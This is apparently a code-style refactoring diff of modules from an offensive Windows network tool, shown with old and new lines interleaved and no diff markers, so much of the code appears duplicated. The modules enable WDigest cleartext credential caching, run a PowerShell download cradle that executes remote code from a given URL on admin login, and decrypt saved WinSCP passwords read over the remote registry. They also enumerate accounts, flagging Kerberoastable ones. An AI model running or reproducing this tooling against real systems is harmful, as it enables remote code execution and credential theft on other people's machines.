self.context.log.error(f"HostChecker._open_root_key():{connection.host}: Invalid root key. Must be one of HKCR, HKCC, HKCU, HKLM or HKU")
break
except Exception as e:
self.context.log.error(f'HostChecker._open_root_key():{connection.host}: Error while trying to open {root_key.upper()}: {e}')
if 'Broken pipe' in e.args:
self.context.log.error('Retrying')
self.context.log.error(f"HostChecker._open_root_key():{connection.host}: Error while trying to open {root_key.upper()}: {e}")
if "Broken pipe" in e.args:
self.context.log.error("Retrying")
retries -= 1
return ans
def reg_get_subkeys(self, dce, connection, key_name):
root_key, subkey = key_name.split('\\', 1)
root_key, subkey = key_name.split("\\", 1)
ans = self._open_root_key(dce, connection, root_key)
subkeys = []
if ans is None:
return subkeys
root_key_handle = ans['phKey']
root_key_handle = ans["phKey"]
try:
ans = rrp.hBaseRegOpenKey(dce, root_key_handle, subkey)
except DCERPCSessionError as e:
if e.error_code != ERROR_FILE_NOT_FOUND:
self.context.log.error(f'HostChecker.reg_get_subkeys(): Could not retrieve subkey {subkey}: {e}\n')
self.context.log.error(f"HostChecker.reg_get_subkeys(): Could not retrieve subkey {subkey}: {e}\n")
return subkeys
except Exception as e:
self.context.log.error(f'HostChecker.reg_get_subkeys(): Error while trying to retrieve subkey {subkey}: {e}\n')
self.context.log.error(f"HostChecker.reg_get_subkeys(): Error while trying to retrieve subkey {subkey}: {e}\n")
return subkeys
subkey_handle = ans['phkResult']
subkey_handle = ans["phkResult"]
i = 0
while True:
try:
ans = rrp.hBaseRegEnumKey(dce=dce, hKey=subkey_handle, dwIndex=i)
subkeys.append(ans['lpNameOut'][:-1])
subkeys.append(ans["lpNameOut"][:-1])
i += 1
except DCERPCSessionError as e:
except DCERPCSessionError:
break
return subkeys
def reg_query_value(self, dce, connection, keyName, valueName=None):
"""
Query remote registry data for a given registry value
"""
"""Query remote registry data for a given registry value"""
def subkey_values(subkey_handle):
dwIndex = 0
dw_index = 0
while True:
try:
value_type, value_name, value_data = get_value(subkey_handle, dwIndex)
yield (value_type, value_name, value_data)
dwIndex += 1
value_type, value_name, value_data = get_value(subkey_handle, dw_index)
yield value_type, value_name, value_data
dw_index += 1
except DCERPCSessionError as e:
if e.error_code == ERROR_NO_MORE_ITEMS:
break
else:
self.context.log.error(f'HostChecker.reg_query_value()->sub_key_values(): Received error code {e.error_code}')
self.context.log.error(f"HostChecker.reg_query_value()->sub_key_values(): Received error code {e.error_code}")
return
def get_value(subkey_handle, dwIndex=0):
ans = rrp.hBaseRegEnumValue(dce=dce, hKey=subkey_handle, dwIndex=dwIndex)
value_type = ans['lpType']
value_name = ans['lpValueNameOut']
value_data = ans['lpData']
value_type = ans["lpType"]
value_name = ans["lpValueNameOut"]
value_data = ans["lpData"]
# Do any conversion necessary depending on the registry value type
if value_type in (
REG_VALUE_TYPE_UNICODE_STRING,
REG_VALUE_TYPE_UNICODE_STRING_WITH_ENV,
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE):
value_data = b''.join(value_data).decode('utf-16')
if value_type in (REG_VALUE_TYPE_UNICODE_STRING, REG_VALUE_TYPE_UNICODE_STRING_WITH_ENV, REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE):
value_data = b"".join(value_data).decode("utf-16")
else:
value_data = b''.join(value_data)
if value_type in (
REG_VALUE_TYPE_32BIT_LE,
REG_VALUE_TYPE_64BIT_LE):
value_data = int.from_bytes(value_data, 'little')
value_data = b"".join(value_data)
if value_type in (REG_VALUE_TYPE_32BIT_LE, REG_VALUE_TYPE_64BIT_LE):
value_data = int.from_bytes(value_data, "little")
elif value_type == REG_VALUE_TYPE_32BIT_BE:
value_data = int.from_bytes(value_data, 'big')
value_data = int.from_bytes(value_data, "big")
return value_type, value_name[:-1], value_data
try:
root_key, subkey = keyName.split('\\', 1)
root_key, subkey = keyName.split("\\", 1)
except ValueError:
self.context.log.error(f'HostChecker.reg_query_value(): Could not split keyname {keyName}')
return
self.context.log.error(f"HostChecker.reg_query_value(): Could not split keyname {keyName}")
ans = self._open_root_key(dce, connection, root_key)
if ans is None:
return ans
root_key_handle = ans['phKey']
root_key_handle = ans["phKey"]
try:
ans = rrp.hBaseRegOpenKey(dce, root_key_handle, subkey)
except DCERPCSessionError as e:
if e.error_code == ERROR_FILE_NOT_FOUND:
return e
subkey_handle = ans['phkResult']
subkey_handle = ans["phkResult"]
if valueName is None:
_,_, data = get_value(subkey_handle)
_, _, data = get_value(subkey_handle)
else:
found = False
for _,name,data in subkey_values(subkey_handle):
for _, name, _data in subkey_values(subkey_handle):
if name.upper() == valueName.upper():
found = True
break
@ -726,70 +603,72 @@ class HostChecker:
################################################
def get_service(self, service_name, connection):
"""
Get the service status and configuration for specified service
"""
"""Get the service status and configuration for specified service"""
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
machine_name,_ = remoteOps.getMachineNameAndDomain()
machine_name, _ = remoteOps.getMachineNameAndDomain()
remoteOps._RemoteOperations__connectSvcCtl()
dce = remoteOps._RemoteOperations__scmr
scm_handle = scmr.hROpenSCManagerW(dce, machine_name)['lpScHandle']
service_handle = scmr.hROpenServiceW(dce, scm_handle, service_name)['lpServiceHandle']
service_config = scmr.hRQueryServiceConfigW(dce, service_handle)['lpServiceConfig']
service_status = scmr.hRQueryServiceStatus(dce, service_handle)['lpServiceStatus']['dwCurrentState']
scm_handle = scmr.hROpenSCManagerW(dce, machine_name)["lpScHandle"]
service_handle = scmr.hROpenServiceW(dce, scm_handle, service_name)["lpServiceHandle"]
service_config = scmr.hRQueryServiceConfigW(dce, service_handle)["lpServiceConfig"]
service_status = scmr.hRQueryServiceStatus(dce, service_handle)["lpServiceStatus"]["dwCurrentState"]
remoteOps.finish()
return service_config, service_status
def get_user_info(self, connection, rid=501):
"""
Get user information for the user with the specified RID
"""
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
machine_name, domain_name = remoteOps.getMachineNameAndDomain()
"""Get user information for the user with the specified RID"""
remote_ops = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
machine_name, domain_name = remote_ops.getMachineNameAndDomain()
try:
remoteOps.connectSamr(machine_name)
remote_ops.connectSamr(machine_name)
except samr.DCERPCSessionError:
# If connecting to machine_name didn't work, it's probably because
# we're dealing with a domain controller, so we need to use the
# actual domain name instead of the machine name, because DCs don't
# use the SAM
remoteOps.connectSamr(domain_name)
remote_ops.connectSamr(domain_name)
dce = remoteOps._RemoteOperations__samr
domain_handle = remoteOps._RemoteOperations__domainHandle
user_handle = samr.hSamrOpenUser(dce, domain_handle, userId=rid)['UserHandle']
dce = remote_ops._RemoteOperations__samr
domain_handle = remote_ops._RemoteOperations__domainHandle
user_handle = samr.hSamrOpenUser(dce, domain_handle, userId=rid)["UserHandle"]
user_info = samr.hSamrQueryInformationUser2(dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)
user_info = user_info['Buffer']['All']
remoteOps.finish()
user_info = user_info["Buffer"]["All"]
remote_ops.finish()
return user_info
def ls(self, smb, path='\\', share='C$'):
l = []
def ls(self, smb, path="\\", share="C$"):
file_listing = []
try:
l = smb.conn.listPath(share, path)
file_listing = smb.conn.listPath(share, path)
except SMBSessionError as e:
if e.getErrorString()[0] not in ('STATUS_NO_SUCH_FILE', 'STATUS_OBJECT_NAME_NOT_FOUND'):
self.context.log.error(f'ls(): C:\\{path} {e.getErrorString()}')
if e.getErrorString()[0] not in ("STATUS_NO_SUCH_FILE", "STATUS_OBJECT_NAME_NOT_FOUND"):
self.context.log.error(f"ls(): C:\\{path} {e.getErrorString()}")
except Exception as e:
self.context.log.error(f'ls(): C:\\{path} {e}\n')
return l
self.context.log.error(f"ls(): C:\\{path} {e}\n")
return file_listing
# Comparison operators #
########################
def le(reg_sz_string, number):
return int(reg_sz_string[:-1]) <= number
def in_(obj, seq):
return obj in seq
def startswith(string, start):
return string.startswith(start)
def not_(boolean_operator):
def wrapper(*args, **kwargs):
return not boolean_operator(*args, **kwargs)
wrapper.__name__ = f'not_{boolean_operator.__name__}'
wrapper.__name__ = f"not_{boolean_operator.__name__}"
return wrapper

View File

@ -1,13 +1,11 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from sys import exit
import contextlib
class NXCModule:
name = "wdigest"
description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
supported_protocols = ["smb"]
@ -15,11 +13,8 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
ACTION Create/Delete the registry key (choices: enable, disable, check)
"""
if not "ACTION" in module_options:
"""ACTION Create/Delete the registry key (choices: enable, disable, check)"""
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
@ -38,107 +33,99 @@ class NXCModule:
self.wdigest_check(context, connection.conn)
def wdigest_enable(self, context, smbconnection):
remoteOps = RemoteOperations(smbconnection, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
remote_ops._RemoteOperations__rrp,
key_handle,
"UseLogonCredential\x00",
rrp.REG_DWORD,
1,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00")
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
if int(data) == 1:
context.log.success("UseLogonCredential registry key created successfully")
try:
remoteOps.finish()
except:
pass
with contextlib.suppress(Exception):
remote_ops.finish()
def wdigest_disable(self, context, smbconnection):
remoteOps = RemoteOperations(smbconnection, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
keyHandle = ans["phkResult"]
try:
rrp.hBaseRegDeleteValue(
remoteOps._RemoteOperations__rrp,
remote_ops._RemoteOperations__rrp,
keyHandle,
"UseLogonCredential\x00",
)
except:
except Exception:
context.log.success("UseLogonCredential registry key not present")
try:
remoteOps.finish()
except:
pass
with contextlib.suppress(Exception):
remote_ops.finish()
return
try:
# Check to make sure the reg key is actually deleted
rtype, data = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp,
remote_ops._RemoteOperations__rrp,
keyHandle,
"UseLogonCredential\x00",
)
except DCERPCException:
context.log.success("UseLogonCredential registry key deleted successfully")
try:
remoteOps.finish()
except:
pass
with contextlib.suppress(Exception):
remote_ops.finish()
def wdigest_check(self, context, smbconnection):
remoteOps = RemoteOperations(smbconnection, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest")
keyHandle = ans["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest")
key_handle = ans["phkResult"]
try:
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00")
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
if int(data) == 1:
context.log.success("UseLogonCredential registry key is enabled")
else:
context.log.fail("Unexpected registry value for UseLogonCredential: %s" % data)
context.log.fail(f"Unexpected registry value for UseLogonCredential: {data}")
except DCERPCException as d:
if "winreg.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" in str(d):
context.log.fail("UseLogonCredential registry key is disabled (registry key not found)")
else:
context.log.fail("UseLogonCredential registry key not present")
try:
remoteOps.finish()
except:
pass
with contextlib.suppress(Exception):
remote_ops.finish()

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from sys import exit
@ -23,8 +20,7 @@ class NXCModule:
URL URL for the download cradle
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
"""
if not "URL" in module_options:
if "URL" not in module_options:
context.log.fail("URL option is required!")
exit(1)
@ -38,7 +34,7 @@ class NXCModule:
self.payload = module_options["PAYLOAD"]
def on_admin_login(self, context, connection):
ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format(self.url)
ps_command = f"""[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{self.url}');"""
if self.payload == "32":
connection.ps_execute(ps_command, force_ps32=True)
else:

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from nxc.protocols.smb.remotefile import RemoteFile
from impacket import nt_errors
from impacket.smb3structs import FILE_READ_DATA
@ -22,9 +19,7 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
MSG Info message when the WebClient service is running. '{}' is replaced by the target.
"""
"""MSG Info message when the WebClient service is running. '{}' is replaced by the target."""
self.output = "WebClient Service enabled on: {}"
if "MSG" in module_options:
@ -38,7 +33,7 @@ class NXCModule:
try:
remote_file = RemoteFile(connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA)
remote_file.open()
remote_file.open_file()
remote_file.close()
context.log.highlight(self.output.format(connection.conn.getRemoteHost()))

View File

@ -11,19 +11,14 @@ class NXCModule:
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
USER Enumerate information about a different SamAccountName
"""
"""USER Enumerate information about a different SamAccountName"""
self.username = None
if "USER" in module_options:
self.username = module_options["USER"]
def on_login(self, context, connection):
searchBase = connection.ldapConnection._baseDN
if self.username is None:
searchFilter = f"(sAMAccountName={connection.username})"
else:
searchFilter = f"(sAMAccountName={format(self.username)})"
searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})"
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
@ -48,27 +43,27 @@ class NXCModule:
for response in r[0]["attributes"]:
if "userAccountControl" in str(response["type"]):
if str(response["vals"][0]) == "512":
context.log.highlight(f"Enabled: Yes")
context.log.highlight(f"Password Never Expires: No")
context.log.highlight("Enabled: Yes")
context.log.highlight("Password Never Expires: No")
elif str(response["vals"][0]) == "514":
context.log.highlight(f"Enabled: No")
context.log.highlight(f"Password Never Expires: No")
context.log.highlight("Enabled: No")
context.log.highlight("Password Never Expires: No")
elif str(response["vals"][0]) == "66048":
context.log.highlight(f"Enabled: Yes")
context.log.highlight(f"Password Never Expires: Yes")
context.log.highlight("Enabled: Yes")
context.log.highlight("Password Never Expires: Yes")
elif str(response["vals"][0]) == "66050":
context.log.highlight(f"Enabled: No")
context.log.highlight(f"Password Never Expires: Yes")
context.log.highlight("Enabled: No")
context.log.highlight("Password Never Expires: Yes")
elif "lastLogon" in str(response["type"]):
if str(response["vals"][0]) == "1601":
context.log.highlight(f"Last logon: Never")
context.log.highlight("Last logon: Never")
else:
context.log.highlight(f"Last logon: {response['vals'][0]}")
elif "memberOf" in str(response["type"]):
for group in response["vals"]:
context.log.highlight(f"Member of: {group}")
elif "servicePrincipalName" in str(response["type"]):
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!")
context.log.highlight("Service Account Name(s) found - Potentially Kerberoastable user!")
for spn in response["vals"]:
context.log.highlight(f"Service Account Name: {spn}")
else:

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
# References and inspiration:
# - https://github.com/anoopengineer/winscppasswd
@ -18,9 +16,7 @@ import configparser
class NXCModule:
"""
Module by @NeffIsBack
"""
"""Module by @NeffIsBack"""
name = "winscp"
description = "Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials."
@ -29,7 +25,7 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
PATH Specify the Path if you already found a WinSCP.ini file. (Example: PATH="C:\\Users\\USERNAME\\Documents\\WinSCP_Passwords\\WinSCP.ini")
REQUIRES ADMIN PRIVILEGES:
@ -38,10 +34,7 @@ class NXCModule:
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
for every user found on the System.
"""
if "PATH" in module_options:
self.filepath = module_options["PATH"]
else:
self.filepath = ""
self.filepath = module_options.get("PATH", "")
self.PW_MAGIC = 0xA3
self.PW_FLAG = 0xFF
@ -49,339 +42,322 @@ class NXCModule:
self.userDict = {}
# ==================== Helper ====================
def printCreds(self, context, session):
if type(session) is str:
def print_creds(self, context, session):
if isinstance(session, str):
context.log.fail(session)
else:
context.log.highlight("======={s}=======".format(s=session[0]))
context.log.highlight("HostName: {s}".format(s=session[1]))
context.log.highlight("UserName: {s}".format(s=session[2]))
context.log.highlight("Password: {s}".format(s=session[3]))
context.log.highlight(f"======={session[0]}=======")
context.log.highlight(f"HostName: {session[1]}")
context.log.highlight(f"UserName: {session[2]}")
context.log.highlight(f"Password: {session[3]}")
def userObjectToNameMapper(self, context, connection, allUserObjects):
def user_object_to_name_mapper(self, context, connection, allUserObjects):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
self.userDict[userObject] = userProfilePath.split("\\")[-1]
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
self.userDict[userObject] = user_profile_path.split("\\")[-1]
finally:
remoteOps.finish()
remote_ops.finish()
# ==================== Decrypt Password ====================
def decryptPasswd(self, host: str, username: str, password: str) -> str:
def decrypt_passwd(self, host: str, username: str, password: str) -> str:
key = username + host
# transform password to bytes
passBytes = []
pass_bytes = []
for i in range(len(password)):
val = int(password[i], 16)
passBytes.append(val)
pass_bytes.append(val)
pwFlag, passBytes = self.dec_next_char(passBytes)
pwLength = 0
pw_flag, pass_bytes = self.dec_next_char(pass_bytes)
pw_length = 0
# extract password length and trim the passbytes
if pwFlag == self.PW_FLAG:
_, passBytes = self.dec_next_char(passBytes)
pwLength, passBytes = self.dec_next_char(passBytes)
if pw_flag == self.PW_FLAG:
_, pass_bytes = self.dec_next_char(pass_bytes)
pw_length, pass_bytes = self.dec_next_char(pass_bytes)
else:
pwLength = pwFlag
to_be_deleted, passBytes = self.dec_next_char(passBytes)
passBytes = passBytes[to_be_deleted * 2 :]
pw_length = pw_flag
to_be_deleted, pass_bytes = self.dec_next_char(pass_bytes)
pass_bytes = pass_bytes[to_be_deleted * 2:]
# decrypt the password
clearpass = ""
for i in range(pwLength):
val, passBytes = self.dec_next_char(passBytes)
for _i in range(pw_length):
val, pass_bytes = self.dec_next_char(pass_bytes)
clearpass += chr(val)
if pwFlag == self.PW_FLAG:
clearpass = clearpass[len(key) :]
if pw_flag == self.PW_FLAG:
clearpass = clearpass[len(key):]
return clearpass
def dec_next_char(self, passBytes) -> "Tuple[int, bytes]":
def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]":
"""
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
Parameters
----------
passBytes : bytes
pass_bytes : bytes
The password bytes
"""
if not passBytes:
return 0, passBytes
a = passBytes[0]
b = passBytes[1]
passBytes = passBytes[2:]
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, passBytes
if not pass_bytes:
return 0, pass_bytes
a = pass_bytes[0]
b = pass_bytes[1]
pass_bytes = pass_bytes[2:]
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
# ==================== Handle Registry ====================
def registrySessionExtractor(self, context, connection, userObject, sessionName):
"""
Extract Session information from registry
"""
def registry_session_extractor(self, context, connection, userObject, sessionName):
"""Extract Session information from registry"""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0])
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0]
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
try:
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0]
except:
password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "Password")[1].split("\x00")[:-1][0]
except Exception:
context.log.debug("Session found but no Password is stored!")
password = ""
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
if password:
decPassword = self.decryptPasswd(hostName, userName, password)
else:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(sessionName)
return [sectionName, hostName, userName, decPassword]
dec_password = self.decrypt_passwd(host_name, user_name, password) if password else "NO_PASSWORD_FOUND"
section_name = unquote(sessionName)
return [section_name, host_name, user_name, dec_password]
except Exception as e:
context.log.fail(f"Error in Session Extraction: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
remote_ops.finish()
return "ERROR IN SESSION EXTRACTION"
def findAllLoggedInUsersInRegistry(self, context, connection):
"""
Checks whether User already exist in registry and therefore are logged in
"""
userObjects = []
def find_all_logged_in_users_in_registry(self, context, connection):
"""Checks whether User already exist in registry and therefore are logged in"""
user_objects = []
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all logged in and loaded Users on System
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
userNames = []
for i in range(users):
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
userNames.remove(".DEFAULT")
user_names.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
userObjects = [i for i in userNames if not regex.match(i)]
user_objects = [i for i in user_names if not regex.match(i)]
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return userObjects
remote_ops.finish()
return user_objects
def findAllUsers(self, context, connection):
"""
Find all User on the System in HKEY_LOCAL_MACHINE
"""
userObjects = []
def find_all_users(self, context, connection):
"""Find all User on the System in HKEY_LOCAL_MACHINE"""
user_objects = []
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
users = data["lpcSubKeys"]
# Get User Names
for i in range(users):
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return userObjects
remote_ops.finish()
return user_objects
def loadMissingUsers(self, context, connection, unloadedUserObjects):
"""
Extract Information for not logged in Users and then loads them into registry.
"""
def load_missing_users(self, context, connection, unloadedUserObjects):
"""Extract Information for not logged in Users and then loads them into registry."""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
# Load Profile
